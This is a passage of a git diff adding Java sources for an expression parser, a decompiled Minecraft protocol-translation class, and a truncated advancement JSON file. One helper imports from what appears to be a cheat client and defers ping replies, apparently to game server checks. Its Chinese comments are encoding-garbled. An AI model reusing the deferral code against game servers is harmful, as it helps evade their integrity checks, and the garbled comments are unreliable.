this.defineStr.indexOf(":", 1); + String[][] properties = splitProperties(this.defineStr.substring(index)); + for (String[] tempList : properties) { + if ("type".equalsIgnoreCase(tempList[0])) { + this.setKind(NodeTypeKind.valueOf(tempList[1])); + } else if ("real".equalsIgnoreCase(tempList[0])) { + this.realNodeType = manager.findNodeType(tempList[1]); + } else if ("factory".equalsIgnoreCase(tempList[0])) { + this.instructionFactory = tempList[1]; + } else if ("define".equalsIgnoreCase(tempList[0])) { + this.qlPatternNode = QLPattern.createPattern(this.manager, this.name, tempList[1]); + } else { + throw new RuntimeException( + "ä¸èƒ½è¯†åˆ«\"" + this.name + "\"的属性类型:" + tempList[0] + " 定义:" + this.defineStr); + } + } + } catch (Exception e) { + throw new RuntimeException("节点类型\"" + this.name + "\"åˆå§‹åŒ–失败,定义:" + this.defineStr, e); + } + } + + public boolean isEqualsOrChild(String parent) { + return this.manager.findNodeType(parent).isContainerChild(this); + } + + public boolean isContainerChild(NodeType child) { + if (this.equals(child)) { + return true; + } + if (this.qlPatternNode == null) { + return false; + } + if (this.qlPatternNode.isDetailMode()) { + return ((NodeType)this.qlPatternNode.getNodeType()).isContainerChild(child); + } + // 是and类型,ä¸èƒ½å¢žåŠ å­èŠ‚点或进行判断 + if (this.qlPatternNode.isAndMode() && !this.qlPatternNode.getChildren().isEmpty()) { + return false; + } + for (QLPatternNode node : this.qlPatternNode.getChildren()) { + if (node.getNodeType() != null && ((NodeType)node.getNodeType()).isContainerChild(child)) { + return true; + } + } + return false; + } + + public void addChild(NodeType child) throws Exception { + String str = child.name; + if (this.qlPatternNode != null) { + str = this.qlPatternNode + "|" + str; + } + this.qlPatternNode = QLPattern.createPattern(this.manager, this.name, str); + } + + @Override + public String toString() { + StringBuilder result = new StringBuilder(); + result.append(name).append(":TYPE=").append(this.kind); + if (this.instructionFactory != null) { + result.append(",FACTORY=").append(this.instructionFactory); + } + if (this.qlPatternNode != null) { + result.append(",DEFINE=").append(this.qlPatternNode); + } + return result.toString(); + } + + public NodeType getRealNodeType() { + return realNodeType; + } + + public NodeTypeKind getKind() { + return kind; + } + + public String getInstructionFactory() { + return instructionFactory; + } + + public void setInstructionFactory(String instructionFactory) { + this.instructionFactory = instructionFactory; + } + + @Override + public NodeTypeManager getManager() { + return manager; + } + + public String getDefineStr() { + return defineStr; + } + + public void setKind(NodeTypeKind kind) { + this.kind = kind; + } + + @Override + public String getName() { + return name; + } + + @Override + public QLPatternNode getPatternNode() { + return this.qlPatternNode; + } +} + +enum NodeTypeKind { + KEYWORD, + BLOCK, + EXPRESS, + OPERATOR, + WORDDEF, + GROUP, + STATEMENT +} \ No newline at end of file diff --git a/src/com/ql/util/express/parse/NodeTypeManager.java b/src/com/ql/util/express/parse/NodeTypeManager.java new file mode 100644 index 00000000..fcdc353b --- /dev/null +++ b/src/com/ql/util/express/parse/NodeTypeManager.java @@ -0,0 +1,172 @@ +package com.ql.util.express.parse; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ql.util.express.match.INodeTypeManager; + +public class NodeTypeManager implements INodeTypeManager { + + public final String[] splitWord; + private final String[] keyWords; + private final String[] nodeTypeDefines; + protected final String[][] instructionFactoryMapping; + protected final Map nodeTypes = new HashMap<>(); + + /** + * 所有的函数定义 + */ + protected final Map functions = new HashMap<>(); + + public NodeTypeManager() { + this(new KeyWordDefine4Java()); + } + + public NodeTypeManager(KeyWordDefine4Java keyWordDefine) { + this.splitWord = keyWordDefine.splitWord; + WordSplit.sortSplitWord(this.splitWord); + this.keyWords = keyWordDefine.keyWords; + this.nodeTypeDefines = keyWordDefine.nodeTypeDefines; + this.instructionFactoryMapping = keyWordDefine.instructionFactoryMapping; + this.initial(); + this.addOperatorWithRealNodeType("and", "&&"); + this.addOperatorWithRealNodeType("or", "||"); + } + + public void initial() { + //创建所有的关键字 + NodeType[] tempKeyWordNodeTypes = new NodeType[splitWord.length + keyWords.length]; + for (int i = 0; i < splitWord.length; i++) { + tempKeyWordNodeTypes[i] = this.createNodeType(splitWord[i] + ":TYPE=KEYWORD"); + } + for (int i = 0; i < keyWords.length; i++) { + tempKeyWordNodeTypes[i + splitWord.length] = this.createNodeType(keyWords[i] + ":TYPE=KEYWORD"); + } + // åˆå§‹åŒ–所有的类型信æ¯ï¼Œ + for (NodeType tempKeyWordNodeType : tempKeyWordNodeTypes) { + tempKeyWordNodeType.initial(); + } + + // 创建所有的类型信æ¯ï¼Œä½†ä¸èƒ½åˆå§‹åŒ– + NodeType[] nodeTypes = new NodeType[nodeTypeDefines.length]; + for (int i = 0; i < nodeTypeDefines.length; i++) { + nodeTypes[i] = this.createNodeType(nodeTypeDefines[i]); + } + // åˆå§‹åŒ–所有的类型信æ¯ï¼Œ + for (NodeType nodeType : nodeTypes) { + nodeType.initial(); + } + + //åˆå§‹åŒ–指令Factory + if (this.instructionFactoryMapping != null) { + for (String[] list : this.instructionFactoryMapping) { + for (String s : list[0].split(",")) { + this.findNodeType(s).setInstructionFactory(list[1]); + } + } + } + } + + /** + * 创建节点类型,需è¦æ³¨æ„的是ä¸èƒ½åˆå§‹åŒ–,必须所有的类型都创建完æˆåŽæ‰èƒ½è°ƒç”¨åˆå§‹åŒ–方法 + * + * @param defineStr + * @return + */ + public NodeType createNodeType(String defineStr) { + //é¿å…对æ“作符å·":"çš„é”™è¯¯å¤„ç† + int index = defineStr.indexOf(":", 1); + String name = defineStr.substring(0, index).trim(); + NodeType define = nodeTypes.get(name); + if (define != null) { + throw new RuntimeException("节点类型定义é‡å¤:" + name + " 定义1=" + define.getDefineStr() + " 定义2=" + defineStr); + } + define = new NodeType(this, name, defineStr); + nodeTypes.put(name, define); + return define; + } + + /** + * æ ¹æ®ç±»åž‹å称查找节点类型 + * + * @param name + * @return + */ + @Override + public NodeType findNodeType(String name) { + NodeType result = nodeTypes.get(name); + if (result == null) { + throw new RuntimeException("没有定义的节点类型:" + name); + } + while (result.getRealNodeType() != null) { + result = result.getRealNodeType(); + } + return result; + } + + /** + * 增加关键字,但是用实际的类型代替,例如 :"如果" -》"if" + * + * @param keyWordName + * @param realName + */ + public void addOperatorWithRealNodeType(String keyWordName, String realName) { + NodeType target = this.createNodeType(keyWordName + ":TYPE=KEYWORD,REAL=" + realName); + target.initial(); + } + + /** + * 增加新的æ“作符å·ï¼Œå…¶ä¼˜å…ˆçº§åˆ«ï¼Œä»¥åŠè¯­æ³•å…³ç³»ä¸Žå‚照的æ“作符å·ä¸€è‡´ + * + * @param operatorName + * @param refOperatorName + * @throws Exception + */ + public void addOperatorWithLevelOfReference(String operatorName, String refOperatorName) throws Exception { + NodeType target = this.createNodeType(operatorName + ":TYPE=KEYWORD"); + target.initial(); + NodeType[] list = this.getNodeTypesByKind(NodeTypeKind.OPERATOR); + NodeType refNodeType = this.findNodeType(refOperatorName); + target.setInstructionFactory(refNodeType.getInstructionFactory()); + for (NodeType item : list) { + if (item.isContainerChild(refNodeType)) { + item.addChild(target); + return; + } + } + } + + /** + * 判断是å¦å­˜åœ¨èŠ‚点类型定义 + * + * @param name + * @return + */ + public NodeType isExistNodeTypeDefine(String name) { + NodeType result = nodeTypes.get(name); + if (result != null && result.getRealNodeType() != null) { + result = result.getRealNodeType(); + } + return result; + } + + public NodeType[] getNodeTypesByKind(NodeTypeKind nodeTypeKind) { + List result = new ArrayList<>(); + for (NodeType item : this.nodeTypes.values()) { + if (item.getKind() == nodeTypeKind) { + result.add(item); + } + } + return result.toArray(new NodeType[0]); + } + + public boolean isFunction(String name) { + return this.functions.containsKey(name); + } + + public void addFunctionName(String name) { + this.functions.put(name, name); + } +} diff --git a/src/com/ql/util/express/parse/Word.java b/src/com/ql/util/express/parse/Word.java new file mode 100644 index 00000000..72998aa1 --- /dev/null +++ b/src/com/ql/util/express/parse/Word.java @@ -0,0 +1,19 @@ +package com.ql.util.express.parse; + +public class Word { + public final String word; + public final int line; + public final int col; + public int index; + + public Word(String word, int line, int col) { + this.word = word; + this.line = line; + this.col = col; + } + + @Override + public String toString() { + return this.word;// + "[" + this.line + "," + this.col + "]"; + } +} diff --git a/src/com/ql/util/express/parse/WordSplit.java b/src/com/ql/util/express/parse/WordSplit.java new file mode 100644 index 00000000..631ab61a --- /dev/null +++ b/src/com/ql/util/express/parse/WordSplit.java @@ -0,0 +1,136 @@ +package com.ql.util.express.parse; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import com.ql.util.express.exception.QLCompileException; + +/** + * 语法解æžç±» + * 1ã€å•è¯åˆ†è§£ + * + * @author xuannan + */ +public class WordSplit { + private WordSplit() { + throw new IllegalStateException("Utility class"); + } + + /** + * 文本分æžå‡½æ•°ï¼Œâ€œ.â€ä½œä¸ºæ“作符å·å¤„ç† + * + * @param str String + * @return String[] + * @throws Exception + */ + public static Word[] parse(String[] splitWord, String str) throws Exception { + if (str == null) { + return new Word[0]; + } + char c; + int line = 1; + List list = new ArrayList<>(); + int i = 0; + int point = 0; + // 当å‰è¡Œç¬¬ä¸€ä¸ªå­—符相对脚本起点的å移é‡offset + int currentLineOffset = 0; + while (i < str.length()) { + c = str.charAt(i); + //å­—ç¬¦ä¸²å¤„ç† + if (c == '"' || c == '\'') { + int index = str.indexOf(c, i + 1); + //处ç†å­—符串中的â€é—®é¢˜ + while (index > 0 && str.charAt(index - 1) == '\\') { + index = str.indexOf(c, index + 1); + } + if (index < 0) { + throw new QLCompileException("字符串没有关闭"); + } + String tempDealStr = str.substring(i, index + 1); + //å¤„ç† \\,\"的情况 + StringBuilder tmpResult = new StringBuilder(); + int tmpPoint = tempDealStr.indexOf("\\"); + while (tmpPoint >= 0) { + tmpResult.append(tempDealStr, 0, tmpPoint); + if (tmpPoint == tempDealStr.length() - 1) { + throw new QLCompileException("字符串中的" + "\\错误:" + tempDealStr); + } + tmpResult.append(tempDealStr.charAt(tmpPoint + 1)); + tempDealStr = tempDealStr.substring(tmpPoint + 2); + tmpPoint = tempDealStr.indexOf("\\"); + } + tmpResult.append(tempDealStr); + list.add(new Word(tmpResult.toString(), line, i - currentLineOffset + 1)); + + if (point < i) { + list.add(new Word(str.substring(point, i), line, point - currentLineOffset + 1)); + } + i = index + 1; + point = i; + } else if (c == '.' && point < i && isNumber(str.substring(point, i))) { + //å°æ•°ç‚¹çš„ç‰¹æ®Šå¤„ç† + i = i + 1; + } else if (c == ' ' || c == '\r' || c == '\n' || c == '\t' || c == '\u000C') { + if (point < i) { + list.add(new Word(str.substring(point, i), line, point - currentLineOffset + 1)); + } + if (c == '\n') { + line = line + 1; + currentLineOffset = i + 1; + } + i = i + 1; + point = i; + } else { + boolean isFind = false; + for (String s : splitWord) { + int length = s.length(); + if (i + length <= str.length() && str.substring(i, i + length).equals(s)) { + if (point < i) { + list.add(new Word(str.substring(point, i), line, point - currentLineOffset + 1)); + } + list.add(new Word(str.substring(i, i + length), line, i - currentLineOffset + 1)); + i = i + length; + point = i; + isFind = true; + break; + } + } + if (!isFind) { + i = i + 1; + } + } + } + if (point < i) { + list.add(new Word(str.substring(point, i), line, point - currentLineOffset + 1)); + } + + Word[] result = new Word[list.size()]; + list.toArray(result); + return result; + } + + public static void sortSplitWord(String[] splitWord) { + Arrays.sort(splitWord, (o1, o2) -> Integer.compare(o2.length(), o1.length())); + } + + protected static boolean isNumber(String str) { + if (str == null || "".equals(str)) { + return false; + } + char c = str.charAt(0); + // æ•°å­— + return c >= '0' && c <= '9'; + } + + public static String getPrintInfo(Object[] list, String splitOp) { + StringBuilder buffer = new StringBuilder(); + for (int i = 0; i < list.length; i++) { + if (i > 0) { + buffer.append(splitOp); + } + buffer.append("{").append(list[i]).append("}"); + } + return buffer.toString(); + } +} diff --git a/src/com/ql/util/express/util/QLAliasUtils.java b/src/com/ql/util/express/util/QLAliasUtils.java new file mode 100644 index 00000000..47251e57 --- /dev/null +++ b/src/com/ql/util/express/util/QLAliasUtils.java @@ -0,0 +1,99 @@ +package com.ql.util.express.util; + +import java.lang.reflect.Field; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.annotation.QLAlias; +import org.apache.commons.beanutils2.PropertyUtils; + +/** + * @author tianqiao@come-future.com + * 2021-11-15 6:31 ä¸‹åˆ + */ +public class QLAliasUtils { + private static final Map FIELD_CACHE = new ConcurrentHashMap<>(); + + private QLAliasUtils() { + throw new IllegalStateException("Utility class"); + } + + public static Class getPropertyClass(Object bean, String name) { + Field field = findQLAliasFieldsWithCache(bean.getClass(), name); + if (field != null) { + name = field.getName(); + } + try { + return PropertyUtils.getPropertyDescriptor(bean, name).getPropertyType(); + } catch (Exception e) { + return null; + } + } + + public static Object getProperty(Object bean, String name) { + try { + Field field = findQLAliasFieldsWithCache(bean.getClass(), name); + if (field != null) { + name = field.getName(); + } + return PropertyUtils.getProperty(bean, name); + } catch (Exception e) { + return null; + } + } + + public static void setProperty(Object bean, Object name, Object value) { + try { + Field field = findQLAliasFieldsWithCache(bean.getClass(), name.toString()); + if (field != null) { + name = field.getName(); + } + Class filedClass = PropertyUtils.getPropertyType(bean, name.toString()); + PropertyUtils.setProperty(bean, name.toString(), ExpressUtil.castObject(value, filedClass, false)); + } catch (Exception ignore) { + } + } + + private static Field findQLAliasFieldsWithCache(Class baseClass, String propertyName) { + String key = baseClass + "#" + propertyName; + Object result = FIELD_CACHE.get(key); + if (result == null) { + result = findQLAliasFields(baseClass, propertyName); + if (result == null) { + FIELD_CACHE.put(key, void.class); + } else { + FIELD_CACHE.put(key, result); + } + } else if (result == void.class) { + result = null; + } + return (Field)result; + } + + public static Field findQLAliasFields(Class baseClass, String propertyName) { + Field[] fields = baseClass.getDeclaredFields(); + for (Field field : fields) { + //优先使用本身的定义 + if (propertyName.equals(field.getName())) { + return field; + } + //使用注解定义 + QLAlias[] qlAliases = field.getAnnotationsByType(QLAlias.class); + for (QLAlias alias : qlAliases) { + if (alias.value().length > 0) { + for (int i = 0; i < alias.value().length; i++) { + if (propertyName.equals(alias.value()[i])) { + return field; + } + } + } + } + } + Class superclass = baseClass.getSuperclass(); + if (superclass != null) { + return findQLAliasFields(superclass, propertyName); + } + return null; + } +} diff --git a/src/com/viaversion/viabackwards/protocol/protocol1_16_4to1_17/PingPacketSendFix.java b/src/com/viaversion/viabackwards/protocol/protocol1_16_4to1_17/PingPacketSendFix.java new file mode 100644 index 00000000..7c089154 --- /dev/null +++ b/src/com/viaversion/viabackwards/protocol/protocol1_16_4to1_17/PingPacketSendFix.java @@ -0,0 +1,48 @@ +package com.viaversion.viabackwards.protocol.protocol1_16_4to1_17; + +import com.viaversion.viabackwards.ViaBackwards; +import com.viaversion.viabackwards.protocol.protocol1_16_4to1_17.storage.PingRequests; +import com.viaversion.viaversion.api.protocol.packet.PacketWrapper; +import com.viaversion.viaversion.api.type.Type; +import com.viaversion.viaversion.protocols.protocol1_16_2to1_16_1.ClientboundPackets1_16_2; +import com.viaversion.viaversion.protocols.protocol1_17to1_16_4.ServerboundPackets1_17; +import info.sigmaclient.sigma.utils.ChatUtils; + +import java.util.ArrayList; + +public class PingPacketSendFix { + public static ArrayList lastPong = new ArrayList<>(); + public static void pushAll(){ + lastPong.forEach(Runnable::run); + lastPong.clear(); + } + public static void handlePingPacket(PacketWrapper wrapper){ + try { + wrapper.cancel(); + int id = wrapper.read(Type.INT); + short shortId = (short)id; + final PacketWrapper[] pongPacket = new PacketWrapper[1]; + if (id == shortId && ViaBackwards.getConfig().handlePingsAsInvAcknowledgements()) { + wrapper.user().get(PingRequests.class).addId(shortId); + pongPacket[0] = wrapper.create(ClientboundPackets1_16_2.WINDOW_CONFIRMATION); + pongPacket[0].write(Type.UNSIGNED_BYTE, (short) 0); + pongPacket[0].write(Type.SHORT, shortId); + pongPacket[0].write(Type.BOOLEAN, false); + pongPacket[0].send(Protocol1_16_4To1_17.class); + } else { + pushAll(); + lastPong.add(() -> { + pongPacket[0] = wrapper.create(ServerboundPackets1_17.PONG); + pongPacket[0].write(Type.INT, id); + try { + pongPacket[0].sendToServer(Protocol1_16_4To1_17.class); + } catch (Exception e) { + ChatUtils.sendMessageWithPrefix("Something bad happend!"); + } + }); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } +} diff --git a/src/com/viaversion/viabackwards/protocol/protocol1_16_4to1_17/Protocol1_16_4To1_17.java b/src/com/viaversion/viabackwards/protocol/protocol1_16_4to1_17/Protocol1_16_4To1_17.java new file mode 100644 index 00000000..d7f4e5dd --- /dev/null +++ b/src/com/viaversion/viabackwards/protocol/protocol1_16_4to1_17/Protocol1_16_4To1_17.java @@ -0,0 +1,209 @@ +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by FernFlower decompiler) +// + +package com.viaversion.viabackwards.protocol.protocol1_16_4to1_17; + +import com.viaversion.viabackwards.ViaBackwards; +import com.viaversion.viabackwards.api.BackwardsProtocol; +import com.viaversion.viabackwards.api.data.BackwardsMappings; +import com.viaversion.viabackwards.api.rewriters.SoundRewriter; +import com.viaversion.viabackwards.api.rewriters.TranslatableRewriter; +import com.viaversion.viabackwards.protocol.protocol1_16_4to1_17.packets.BlockItemPackets1_17; +import com.viaversion.viabackwards.protocol.protocol1_16_4to1_17.packets.EntityPackets1_17; +import com.viaversion.viabackwards.protocol.protocol1_16_4to1_17.storage.PingRequests; +import com.viaversion.viabackwards.protocol.protocol1_16_4to1_17.storage.PlayerLastCursorItem; +import com.viaversion.viaversion.api.connection.UserConnection; +import com.viaversion.viaversion.api.minecraft.RegistryType; +import com.viaversion.viaversion.api.minecraft.TagData; +import com.viaversion.viaversion.api.minecraft.entities.Entity1_17Types; +import com.viaversion.viaversion.api.protocol.packet.ClientboundPacketType; +import com.viaversion.viaversion.api.protocol.packet.PacketWrapper; +import com.viaversion.viaversion.api.protocol.remapper.PacketHandlers; +import com.viaversion.viaversion.api.type.Type; +import com.viaversion.viaversion.data.entity.EntityTrackerBase; +import com.viaversion.viaversion.libs.fastutil.ints.IntArrayList; +import com.viaversion.viaversion.libs.fastutil.ints.IntList; +import com.viaversion.viaversion.protocols.protocol1_16_2to1_16_1.ClientboundPackets1_16_2; +import com.viaversion.viaversion.protocols.protocol1_16_2to1_16_1.ServerboundPackets1_16_2; +import com.viaversion.viaversion.protocols.protocol1_17to1_16_4.ClientboundPackets1_17; +import com.viaversion.viaversion.protocols.protocol1_17to1_16_4.Protocol1_17To1_16_4; +import com.viaversion.viaversion.protocols.protocol1_17to1_16_4.ServerboundPackets1_17; +import com.viaversion.viaversion.rewriter.IdRewriteFunction; +import com.viaversion.viaversion.rewriter.StatisticsRewriter; +import com.viaversion.viaversion.rewriter.TagRewriter; +import com.viaversion.viaversion.util.Key; +import net.minecraft.network.play.client.CConfirmTeleportPacket; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +public final class Protocol1_16_4To1_17 extends BackwardsProtocol { + public static final BackwardsMappings MAPPINGS = new BackwardsMappings("1.17", "1.16.2", Protocol1_17To1_16_4.class); + private static final int[] EMPTY_ARRAY = new int[0]; + private final EntityPackets1_17 entityRewriter = new EntityPackets1_17(this); + private final BlockItemPackets1_17 blockItemPackets = new BlockItemPackets1_17(this); + private final TranslatableRewriter translatableRewriter = new TranslatableRewriter(this); + + public Protocol1_16_4To1_17() { + super(ClientboundPackets1_17.class, ClientboundPackets1_16_2.class, ServerboundPackets1_17.class, ServerboundPackets1_16_2.class); + } + + protected void registerPackets() { + super.registerPackets(); + this.translatableRewriter.registerComponentPacket(ClientboundPackets1_17.CHAT_MESSAGE); + this.translatableRewriter.registerBossBar(ClientboundPackets1_17.BOSSBAR); + this.translatableRewriter.registerDisconnect(ClientboundPackets1_17.DISCONNECT); + this.translatableRewriter.registerTabList(ClientboundPackets1_17.TAB_LIST); + this.translatableRewriter.registerOpenWindow(ClientboundPackets1_17.OPEN_WINDOW); + this.translatableRewriter.registerPing(); + SoundRewriter soundRewriter = new SoundRewriter(this); + soundRewriter.registerSound(ClientboundPackets1_17.SOUND); + soundRewriter.registerSound(ClientboundPackets1_17.ENTITY_SOUND); + soundRewriter.registerNamedSound(ClientboundPackets1_17.NAMED_SOUND); + soundRewriter.registerStopSound(ClientboundPackets1_17.STOP_SOUND); + TagRewriter tagRewriter = new TagRewriter(this); + this.registerClientbound(ClientboundPackets1_17.TAGS, (wrapper) -> { + Map> tags = new HashMap(); + int length = (Integer)wrapper.read(Type.VAR_INT); + + for(int i = 0; i < length; ++i) { + String resourceKey = Key.stripMinecraftNamespace((String)wrapper.read(Type.STRING)); + List tagListx = new ArrayList(); + tags.put(resourceKey, tagListx); + int tagLength = (Integer)wrapper.read(Type.VAR_INT); + + for(int j = 0; j < tagLength; ++j) { + String identifier = (String)wrapper.read(Type.STRING); + int[] entries = (int[])wrapper.read(Type.VAR_INT_ARRAY_PRIMITIVE); + tagListx.add(new TagData(identifier, entries)); + } + } + + RegistryType[] var19 = RegistryType.getValues(); + int var20 = var19.length; + + for(int var21 = 0; var21 < var20; ++var21) { + RegistryType type = var19[var21]; + List tagList = (List)tags.get(type.resourceLocation()); + IdRewriteFunction rewriter = tagRewriter.getRewriter(type); + wrapper.write(Type.VAR_INT, tagList.size()); + Iterator var25 = tagList.iterator(); + + while(var25.hasNext()) { + TagData tagData = (TagData)var25.next(); + int[] entriesx = tagData.entries(); + if (rewriter != null) { + IntList idList = new IntArrayList(entriesx.length); + int[] var14 = entriesx; + int var15 = entriesx.length; + + for(int var16 = 0; var16 < var15; ++var16) { + int id = var14[var16]; + int mappedId = rewriter.rewrite(id); + if (mappedId != -1) { + idList.add(mappedId); + } + } + + entriesx = idList.toArray(EMPTY_ARRAY); + } + + wrapper.write(Type.STRING, tagData.identifier()); + wrapper.write(Type.VAR_INT_ARRAY_PRIMITIVE, entriesx); + } + + if (type == RegistryType.ENTITY) { + break; + } + } + + }); + (new StatisticsRewriter(this)).register(ClientboundPackets1_17.STATISTICS); + this.registerClientbound(ClientboundPackets1_17.RESOURCE_PACK, (wrapper) -> { + wrapper.passthrough(Type.STRING); + wrapper.passthrough(Type.STRING); + wrapper.read(Type.BOOLEAN); + wrapper.read(Type.OPTIONAL_COMPONENT); + }); + this.registerClientbound(ClientboundPackets1_17.EXPLOSION, new PacketHandlers() { + public void register() { + this.map(Type.FLOAT); + this.map(Type.FLOAT); + this.map(Type.FLOAT); + this.map(Type.FLOAT); + this.handler((wrapper) -> { + wrapper.write(Type.INT, (Integer)wrapper.read(Type.VAR_INT)); + }); + } + }); + this.registerClientbound(ClientboundPackets1_17.SPAWN_POSITION, new PacketHandlers() { + public void register() { + this.map(Type.POSITION1_14); + this.handler((wrapper) -> { + wrapper.read(Type.FLOAT); + }); + } + }); + this.registerClientbound(ClientboundPackets1_17.PING, null, PingPacketSendFix::handlePingPacket); + + this.registerServerbound(ServerboundPackets1_16_2.CLIENT_SETTINGS, new PacketHandlers() { + public void register() { + this.map(Type.STRING); + this.map(Type.BYTE); + this.map(Type.VAR_INT); + this.map(Type.BOOLEAN); + this.map(Type.UNSIGNED_BYTE); + this.map(Type.VAR_INT); + this.handler((wrapper) -> { + wrapper.write(Type.BOOLEAN, false); + }); + } + }); + this.mergePacket(ClientboundPackets1_17.TITLE_TEXT, ClientboundPackets1_16_2.TITLE, 0); + this.mergePacket(ClientboundPackets1_17.TITLE_SUBTITLE, ClientboundPackets1_16_2.TITLE, 1); + this.mergePacket(ClientboundPackets1_17.ACTIONBAR, ClientboundPackets1_16_2.TITLE, 2); + this.mergePacket(ClientboundPackets1_17.TITLE_TIMES, ClientboundPackets1_16_2.TITLE, 3); + this.registerClientbound(ClientboundPackets1_17.CLEAR_TITLES, ClientboundPackets1_16_2.TITLE, (wrapper) -> { + if ((Boolean)wrapper.read(Type.BOOLEAN)) { + wrapper.write(Type.VAR_INT, 5); + } else { + wrapper.write(Type.VAR_INT, 4); + } + + }); + this.cancelClientbound(ClientboundPackets1_17.ADD_VIBRATION_SIGNAL); + } + + public void init(UserConnection user) { + this.addEntityTracker(user, new EntityTrackerBase(user, Entity1_17Types.PLAYER)); + user.put(new PingRequests()); + user.put(new PlayerLastCursorItem()); + } + + public BackwardsMappings getMappingData() { + return MAPPINGS; + } + + public TranslatableRewriter getTranslatableRewriter() { + return this.translatableRewriter; + } + + public void mergePacket(ClientboundPackets1_17 newPacketType, ClientboundPackets1_16_2 oldPacketType, int type) { + this.registerClientbound(newPacketType, oldPacketType, (wrapper) -> { + wrapper.write(Type.VAR_INT, type); + }); + } + + public EntityPackets1_17 getEntityRewriter() { + return this.entityRewriter; + } + + public BlockItemPackets1_17 getItemRewriter() { + return this.blockItemPackets; + } +} diff --git a/src/data/.DS_Store b/src/data/.DS_Store new file mode 100644 index 00000000..86de5199 Binary files /dev/null and b/src/data/.DS_Store differ diff --git a/src/data/.mcassetsroot b/src/data/.mcassetsroot new file mode 100644 index 00000000..e69de29b diff --git a/src/data/minecraft/.DS_Store b/src/data/minecraft/.DS_Store new file mode 100644 index 00000000..2a3cbdf6 Binary files /dev/null and b/src/data/minecraft/.DS_Store differ diff --git a/src/data/minecraft/advancements/adventure/adventuring_time.json b/src/data/minecraft/advancements/adventure/adventuring_time.json new file mode 100644 index 00000000..56fa86e2 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/adventuring_time.json @@ -0,0 +1,488 @@ +{ + "parent": "minecraft:adventure/sleep_in_bed", + "display": { + "icon": { + "item": "minecraft:diamond_boots", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.adventuring_time.title" + }, + "description": { + "translate": "advancements.adventure.adventuring_time.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 500 + }, + "criteria": { + "minecraft:birch_forest_hills": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:birch_forest_hills" + } + } + }, + "minecraft:river": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:river" + } + } + }, + "minecraft:swamp": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:swamp" + } + } + }, + "minecraft:desert": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:desert" + } + } + }, + "minecraft:wooded_hills": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:wooded_hills" + } + } + }, + "minecraft:giant_tree_taiga_hills": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:giant_tree_taiga_hills" + } + } + }, + "minecraft:snowy_taiga": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:snowy_taiga" + } + } + }, + "minecraft:badlands": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:badlands" + } + } + }, + "minecraft:forest": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:forest" + } + } + }, + "minecraft:stone_shore": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:stone_shore" + } + } + }, + "minecraft:snowy_tundra": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:snowy_tundra" + } + } + }, + "minecraft:taiga_hills": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:taiga_hills" + } + } + }, + "minecraft:snowy_mountains": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:snowy_mountains" + } + } + }, + "minecraft:wooded_badlands_plateau": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:wooded_badlands_plateau" + } + } + }, + "minecraft:savanna": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:savanna" + } + } + }, + "minecraft:plains": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:plains" + } + } + }, + "minecraft:frozen_river": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:frozen_river" + } + } + }, + "minecraft:giant_tree_taiga": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:giant_tree_taiga" + } + } + }, + "minecraft:snowy_beach": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:snowy_beach" + } + } + }, + "minecraft:jungle_hills": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:jungle_hills" + } + } + }, + "minecraft:jungle_edge": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:jungle_edge" + } + } + }, + "minecraft:mushroom_field_shore": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:mushroom_field_shore" + } + } + }, + "minecraft:mountains": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:mountains" + } + } + }, + "minecraft:desert_hills": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:desert_hills" + } + } + }, + "minecraft:jungle": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:jungle" + } + } + }, + "minecraft:beach": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:beach" + } + } + }, + "minecraft:savanna_plateau": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:savanna_plateau" + } + } + }, + "minecraft:snowy_taiga_hills": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:snowy_taiga_hills" + } + } + }, + "minecraft:badlands_plateau": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:badlands_plateau" + } + } + }, + "minecraft:dark_forest": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:dark_forest" + } + } + }, + "minecraft:taiga": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:taiga" + } + } + }, + 